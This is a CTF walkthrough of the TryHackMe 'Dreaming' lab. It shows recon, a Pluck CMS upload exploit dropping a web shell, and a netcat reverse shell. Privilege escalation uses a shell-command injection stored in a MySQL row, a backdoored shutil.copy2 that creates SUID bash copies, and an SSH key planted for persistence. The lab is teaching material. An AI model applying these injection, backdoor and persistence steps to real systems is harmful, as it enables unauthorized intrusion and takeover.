Post

CTF Walkthrough for TryHackMe Machine Dreaming

CTF Walkthrough for TryHackMe Machine Dreaming

Introduction

Greetings everyone, in this walkthrough, we will talk about Dreaming a TryHackMe machine. This walkthrough is not only meant to catch the flag but also to demonstrate how a penetration tester will approach this machine in a real-world assessment.

Machine Description

Name: Dreaming
Difficulty: Easy
Operating System: Linux
Machine link: Dreaming

Tools used

1) Nmap
2) ffuf

Reconnaissance

We will start by performing a service scan on the target to enumerate the services running on open ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(pentester㉿kali)-[~/…/Challenge/Dreaming/Scans/Service]
└─$ nmap -Pn -n -sC -sV 10.10.162.34 -oN service-scan.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 08:23 BST
Nmap scan report for 10.10.162.34
Host is up (0.094s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 76:26:67:a6:b0:08:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
|   256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
|_  256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.02 seconds

The target runs an SSH and a web server. Let’s visit the web application running on port 80.

We can see that the Apache default index page is still present on the target. Let’s fuzz this web application to uncover hidden files and directories.

1
2
3
4
5
6
7
8
9
┌──(pentester㉿kali)-[~/…/Challenge/Dreaming/Scans/Web]
└─$ ffuf -ic -c -u http://10.10.162.34/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -e .php,.html,.txt
<SNIP>
________________________________________________
.php                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 3397ms]
index.html              [Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 3396ms]
.html                   [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 3400ms]
app                     [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 97ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

The fuzzing process uncovered an interesting directory i.e. /app. Let’s visit this directory.

This directory has directory listing enabled and we can identify a new directory named pluck-4.1.13. Pluck is a CMS and we can see the version number in the directory’s name. We can Google this version number to see if there is a public exploit.

This version number is vulnerable to an authenticated file upload vulnerability. The pluck CMS has no default credentials as they are set during installation. If we try to log in using common default passwords, we will find that the admin portal is protected by the common weak password p**d.

Exploitation

Now that we have the admin password, we can download the POC from exploit db and run it against the target to upload a web shell.

1
2
3
4
5
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Dreaming/Misc File]
└─$ python3 poc.py 10.10.162.34 80 <REDACTED> /app/pluck-4.7.13

Authentification was succesfull, uploading webshell                                                      
Uploaded Webshell to: http://10.10.162.34:80/app/pluck-4.7.13/files/shell.phar 

We can access the web shell using the link given to us by the POC. We can obtain a reverse shell using the web shell first we have to start a listener on our attack host.

1
2
3
┌──(pentester㉿kali)-[~/…/Challenge/Dreaming/Scans/Web]
└─$ nc -lvnp 1234                         
listening on [any] 1234 ...

After starting the listener, we can run the reverse shell command in the web shell.

When we return to our listener, we will notice a reverse connection from the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(pentester㉿kali)-[~/…/Challenge/Dreaming/Scans/Web]
└─$ nc -lvnp 1234                         
listening on [any] 1234 ...
connect to [10.21.68.180] from (UNKNOWN) [10.10.162.34] 55054
bash: cannot set terminal process group (810): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dreaming:/var$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@dreaming:/var$ ^Z
zsh: suspended  nc -lvnp 1234

┌──(pentester㉿kali)-[~/…/Challenge/Dreaming/Scans/Web]
└─$ stty raw -echo;fg     
[1]  + continued  nc -lvnp 1234
                               export=TERM=xterm
www-data@dreaming:/var$ 

We can enumerate the local users on the system by reading the /etc/passwd file.

1
2
3
4
5
6
7
8
www-data@dreaming:/$ cat /etc/passwd      
root:x:0:0:root:/root:/bin/bash
<SNIP>
lucien:x:1000:1000:lucien:/home/lucien:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:118:MySQL Server,,,:/nonexistent:/bin/false
death:x:1001:1001::/home/death:/bin/bash
morpheus:x:1002:1002::/home/morpheus:/bin/bash

A quick enumeration of the file system reveals two scripts in the /opt directory.

1
2
3
4
www-data@dreaming:/$ ls -l opt
total 8
-rwxrw-r-- 1 death  death  1574 Aug 15  2023 getDreams.py
-rwxr-xr-x 1 lucien lucien  483 Aug  7  2023 test.py

The test.py file contains a password that has Lucien in it.

1
2
3
4
5
6
7
8
www-data@dreaming:/opt$ cat test.py 
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "<REDACTED>"

<SNIP>

We can use this password to connect to the target as Lucien using SSH and read the first flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Dreaming/Misc File]
└─$ ssh lucien@10.10.162.34
                                  {} {}
                            !  !  II II  !  !
                         !  I__I__II II__I__I  !
                         I_/|--|--|| ||--|--|\_I
        .-'"'-.       ! /|_/|  |  || ||  |  |\_|\ !       .-'"'-.
       /===    \      I//|  |  |  || ||  |  |  |\\I      /===    \
       \==     /   ! /|/ |  |  |  || ||  |  |  | \|\ !   \==     /
        \__  _/    I//|  |  |  |  || ||  |  |  |  |\\I    \__  _/
         _} {_  ! /|/ |  |  |  |  || ||  |  |  |  | \|\ !  _} {_
        {_____} I//|  |  |  |  |  || ||  |  |  |  |  |\\I {_____}
   !  !  |=  |=/|/ |  |  |  |  |  || ||  |  |  |  |  | \|\=|-  |  !  !
  _I__I__|=  ||/|  |  |  |  |  |  || ||  |  |  |  |  |  |\||   |__I__I_
  -|--|--|-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|   ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||   |--|--|-
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
  _|__|__|   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |__|__|_
  -|--|--|=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|=  ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||=  |--|--|-
  jgs |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
 ~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

W e l c o m e, s t r a n g e r . . .
lucien@10.10.162.34's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)
<SNIP>

lucien@dreaming:~$ ls
lucien_flag.txt

Looking at the sudo rights of this user, we can see that Lucien can run the command /usr/bin/python3 /home/death/getDreams.py as the user Death.

1
2
3
4
5
6
lucien@dreaming:~$ sudo -l 
Matching Defaults entries for lucien on dreaming:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lucien may run the following commands on dreaming:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

We could try to read the script getDreams.py Lucien can execute as death but unfortunately, we don’t have read access to it.

1
2
3
4
lucien@dreaming:~$ ls -l /home/death/
total 8
-rw-rw---- 1 death death   21 Jul 28  2023 death_flag.txt
-rwxrwx--x 1 death death 1539 Aug 25  2023 getDreams.py

Remember that we saw a script with a similar name in the /opt directory. This might be the same script so let’s read it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
lucien@dreaming:~$ cat /opt/getDreams.py                           
import mysql.connector                                             
import subprocess                                                  

# MySQL credentials
DB_USER = "death"                                                  
DB_PASS = "#redacted"                                              
DB_NAME = "library"                                                

import mysql.connector                                             
import subprocess                                                                                                                      
def getDreams():                                                   
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(                      
            host="localhost",                                      
            user=DB_USER,                                          
            password=DB_PASS,
            database=DB_NAME                                       
        )                                                          
        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()                               
        # Construct the MySQL query to fetch dreamer and dream columns from dreams table                                               
        query = "SELECT dreamer, dream FROM dreams;"
        # Execute the query                                        
        cursor.execute(query)
        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()
        if not dreams_info:
            print("No dreams found in the database.")
        else:                                                      
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:                         
                dreamer, dream = dream_info                        
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)           
    except mysql.connector.Error as error:                         
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")                                   
    finally:                                                       
        # Close the cursor and connection
        cursor.close()                                             
        connection.close()                                         

# Call the function to echo the dreamer and dream information                                                                          
getDreams() 

This Python script connects to the library database as the Death user (unfortunately the password is redacted), retrieves data from the dreamer and dream columns of the dreams table, constructs a string using this data, and executes the string. If we add fake entries to the database, our entries will also be executed. Let’s the script present in the /home/death directory using our sudo privilege to ensure that it is the same as the one in the /opt directory.

1
2
3
4
5
6
7
8
lucien@dreaming:~$ sudo -u death  /usr/bin/python3 /home/death/getDreams.py     
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

We can see that the output is formatted the same way as in the script in the /opt directory. This means they are the same. Unfortunately, we cannot add fake entries to the database since we do not have valid credentials. In the user’s home directory, we can see a .bash_history file. Let’s read this file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
lucien@dreaming:~$ ls -al
total 44
drwxr-xr-x 5 lucien lucien 4096 Oct 26 09:08 .
drwxr-xr-x 5 root   root   4096 Jul 28  2023 ..
-rw------- 1 lucien lucien  684 Aug 25  2023 .bash_history
-rw-r--r-- 1 lucien lucien  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 lucien lucien 3771 Feb 25  2020 .bashrc
drwx------ 3 lucien lucien 4096 Jul 28  2023 .cache
drwxrwxr-x 4 lucien lucien 4096 Jul 28  2023 .local
-rw-rw---- 1 lucien lucien   19 Jul 28  2023 lucien_flag.txt
-rw------- 1 lucien lucien  732 Oct 26 09:08 .mysql_history
-rw-r--r-- 1 lucien lucien  807 Feb 25  2020 .profile
drwx------ 2 lucien lucien 4096 Jul 28  2023 .ssh
-rw-r--r-- 1 lucien lucien    0 Jul 28  2023 .sudo_as_admin_successful
1
2
3
4
5
6
7
8
lucien@dreaming:~$ cat .bash_history 
ls                       
<SNIP>
cd ~   
clear          
ls                              
mysql -u lucien -p<REDACTED>
<SNIP>

We can see Lucien’s password for the database server. Let’s use this to connect to the database and add fake entries in the dreamer and/or dream columns that will be executed by the getDreams.py script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
lucien@dreaming:~$ mysql -u lucien -p<REDACTED>
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 13
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use library
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams            |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)
mysql> desc dreams;
+---------+--------------+------+-----+---------+-------+
| Field   | Type         | Null | Key | Default | Extra |
+---------+--------------+------+-----+---------+-------+
| dreamer | varchar(50)  | YES  |     | NULL    |       |
| dream   | varchar(255) | YES  |     | NULL    |       |
+---------+--------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
mysql> INSERT INTO dreams (dreamer, dream)
    -> VALUES ('Shell', ';;cp /usr/bin/bash /home/death/;chmod +s /home/death/bash');
Query OK, 1 row affected (0.01 sec)

mysql> select * from dreams;
+---------+----------------------------------------------------------+
| dreamer | dream                                                    |
+---------+----------------------------------------------------------+
| Alice   | Flying in the sky                                        |
| Bob     | Exploring ancient ruins                                  |
| Carol   | Becoming a successful entrepreneur                       |
| Dave    | Becoming a professional musician                         |
| Shell   | ;cp /usr/bin/bash /home/death/;chmod +s /home/death/bash |
+---------+----------------------------------------------------------+
5 rows in set (0.00 sec)

We first added a ; that will end the execution of the echo command followed by the copy command that will copy the bash executable to Death’s home directory and chmod that will add the SUID bit to the copied bash executable. When we run the /home/death/getDreams.py script using our sudo right these commands will be executed and we will see the bash executable with Death’s SUID bit set in the /home/death directory.

1
2
3
4
5
6
7
8
lucien@dreaming:~$ sudo -u death  /usr/bin/python3 /home/death/getDreams.py     
<SNIP>

lucien@dreaming:~$ ls -l /home/death/ 
total 1164
-rwsr-sr-x 1 death death 1183448 Oct 26 09:36 bash
-rw-rw---- 1 death death      21 Jul 28  2023 death_flag.txt
-rwxrwx--x 1 death death    1539 Aug 25  2023 getDreams.py

We can use this bash executable to obtain a shell as the Death user and use it to read the second flag.

1
2
3
4
5
6
7
8
9
10
lucien@dreaming:~$ /home/death/bash -p
bash-5.0$ whoami
death
bash-5.0$ ls
lucien_flag.txt
bash-5.0$ ls -l /home/death/
total 1164
-rwsr-sr-x 1 death death 1183448 Oct 26 09:36 bash
-rw-rw---- 1 death death      21 Jul 28  2023 death_flag.txt
-rwxrwx--x 1 death death    1539 Aug 25  2023 getDreams.py

Remember that the /home/death/getDreams.py connects to the database server as death. We can read this script to see Death’s password and try to log in as Death using SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bash-5.0$ cat /home/death/getDreams.py
import mysql.connector
import subprocess                                                                            
# MySQL credentials
DB_USER = "death"
DB_PASS = "<REDACTED>"
DB_NAME = "library"
def getDreams():                                                                              
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",                  
            user=DB_USER,                      
            password=DB_PASS,]
            database=DB_NAME    
1
2
3
4
5
┌──(pentester㉿kali)-[~/Desktop/TryHackMe/Challenge/Dreaming]
└─$ ssh death@10.10.162.34  
<SNIP>
Last login: Fri Nov 17 21:44:20 2023
death@dreaming:~$ 

We can see that the Death user used the same password for the database server and SSH authentication.

Post Exploitation

We can see a .viminfo file in Death’s home directory. We can read this file to see the files this user edited.

1
2
3
4
5
6
7
8
9
10
11
death@dreaming:~$ cat .viminfo                                                  
<SNIP>
# File marks:
'0  297  0  /usr/lib/python3.8/shutil.py
|4,48,297,0,1691452277,"/usr/lib/python3.8/shutil.py"
'1  379  5  /usr/lib/python3.8/shutil.py
|4,49,379,5,1691452268,"/usr/lib/python3.8/shutil.py"
'2  379  5  /usr/lib/python3.8/shutil.py
|4,50,379,5,1691452268,"/usr/lib/python3.8/shutil.py"
'3  59  10  ~/getDreams.py
|4,51,59,10,1690567223,"~/getDreams.py"

We can see many entries of the /usr/lib/python3.8/shutil.py file, the file containing the code of Python’s shutil module. We can verify our privileges on this file using ls.

1
2
death@dreaming:~$ ls  -l /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Aug  7  2023 /usr/lib/python3.8/shutil.py

This file belong to the death group and we can write into it. Let’s transfer pspy64 to the target and run it to enumerate any process utilising this Python module.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Dreaming/Misc File]
└─$ scp /usr/share/pspy/pspy64 death@10.10.162.34:/tmp
<SNP>
W e l c o m e, s t r a n g e r . . .
death@10.10.162.34's password: 
pspy64                                                                                                                                                                         100% 3032KB 666.1KB/s   00:04

┌──(pentester㉿kali)-[~/Desktop/TryHackMe/Challenge/Dreaming/Misc File]
└─$ ssh death@10.10.162.34  
<SNIP>
Last login: Fri Nov 17 21:44:20 2023
death@dreaming:~$ cd /tmp
death@dreaming:/tmp$ chmod 755 pspy64 
death@dreaming:/tmp$ ./pspy64 
<SNIP>
2024/10/26 10:05:01 CMD: UID=1002  PID=40955  | /bin/sh -c /usr/bin/python3.8 /home/morpheus/restore.py 
2024/10/26 10:05:01 CMD: UID=0     PID=40956  | /lib/systemd/systemd-udevd 
2024/10/26 10:06:01 CMD: UID=0     PID=40958  | /usr/sbin/CRON -f 
2024/10/26 10:06:01 CMD: UID=1002  PID=40959  | /usr/sbin/CRON -f 
2024/10/26 10:06:01 CMD: UID=1002  PID=40960  | /usr/bin/python3.8 /home/morpheus/restore.py 

We can see that a cron job run by the user with UID 1002 (Morpheus) runs the /home/morpheus/restore.py script every minute. Let’s read this Python script file.

1
2
3
4
5
6
7
8
death@dreaming:/tmp$ cat /home/morpheus/restore.py
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")

Notice that this script uses the copy2 function in the Shutil module. All we have to do now is to edit this function in the /usr/lib/python3.8/shutil.py file we have write access to and when this function is called by the /home/morpheus/restore.py script run by Morpheus, our extra code will be executed.

1
2
3
4
5
6
7
8
9
10
def copy2(src, dst, *, follow_symlinks=True):
    """
    <SNIP>
    """
    os.system("cp /usr/bin/bash /home/morpheus/;chmod +s /home/morpheus/bash")
    if os.path.isdir(dst):
        dst = os.path.join(dst, os.path.basename(src))
    copyfile(src, dst, follow_symlinks=follow_symlinks)
    copystat(src, dst, follow_symlinks=follow_symlinks)
    return dst

The extra code added to the copy2 function will create a bash executable with a SUID bit set in the /home/morpheus/ directory. When this cron job will be executed after our modification the extra code will be executed.

1
2
3
4
5
6
death@dreaming:~$ ls -l /home/morpheus/ 
total 1168
-rwsr-sr-x 1 morpheus morpheus 1183448 Oct 26 10:12 bash
-rw-rw-r-- 1 morpheus morpheus      22 Jul 28  2023 kingdom
-rw-rw---- 1 morpheus morpheus      28 Jul 28  2023 morpheus_flag.txt
-rw-rw-r-- 1 morpheus morpheus     180 Aug  7  2023 restore.py

We can use this bash executable with Morpheus SUID bit to obtain a shell as Morpheus and read the third flag on the target.

1
2
3
4
5
6
death@dreaming:~$ cd /home/morpheus/
death@dreaming:/home/morpheus$ ./bash  -p
bash-5.0$ whoami
morpheus
bash-5.0$ ls
bash  kingdom  morpheus_flag.txt  restore.py

To obtain a stable shell we can create Morpheus’s SSH .ssh/authorized_keys file and add the public key of a private key we control.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Dreaming/Misc File]
└─$ ssh-keygen -t ed25519 
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/pentester/.ssh/id_ed25519): ./id_ed25519
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_ed25519
Your public key has been saved in ./id_ed25519.pub
<SNIP>

┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Dreaming/Misc File]
└─$ cat id_ed25519.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbsvX2b4u0h1tDQMI56nIMDruVeOyzcypxB8nl6gy1q pentester@kali
1
2
3
4
bash-5.0$ pwd
/home/morpheus
bash-5.0$ mkdir .ssh
bash-5.0$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbsvX2b4u0h1tDQMI56nIMDruVeOyzcypxB8nl6gy1q pentester@kali' > .ssh/authorized_keys

We can now use the private key of the associate public key to connect to the target as Morpheus.

1
2
3
4
5
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Dreaming/Misc File]
└─$ ssh morpheus@10.10.162.34 -i id_ed25519 
<SNIP>
morpheus@dreaming:~$ ls
bash  kingdom  morpheus_flag.txt  restore.py

Looking at this user’s sudo right we see that Morpheus can run any command as root. We can use this sudo right to log in as root using sudo su.

1
2
3
4
5
6
7
8
9
morpheus@dreaming:~$ sudo -l
Matching Defaults entries for morpheus on dreaming:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User morpheus may run the following commands on dreaming:
    (ALL) NOPASSWD: ALL
morpheus@dreaming:~$ sudo su
root@dreaming:/home/morpheus# ls /root
snap

Conclusion

Congratulations! In this walkthrough, you have exploited a file upload vulnerability in the Pluck CMS to obtain a foothold on the target. Finally, you obtained a root shell by hijacking a Python library you had write access to. This machine was designed to show how improper upgrade practices, password reuse, and the use of weak passwords could seriously impact an organisation’s security posture. Thanks for following up on this walkthrough.

This post is licensed under CC BY 4.0 by the author.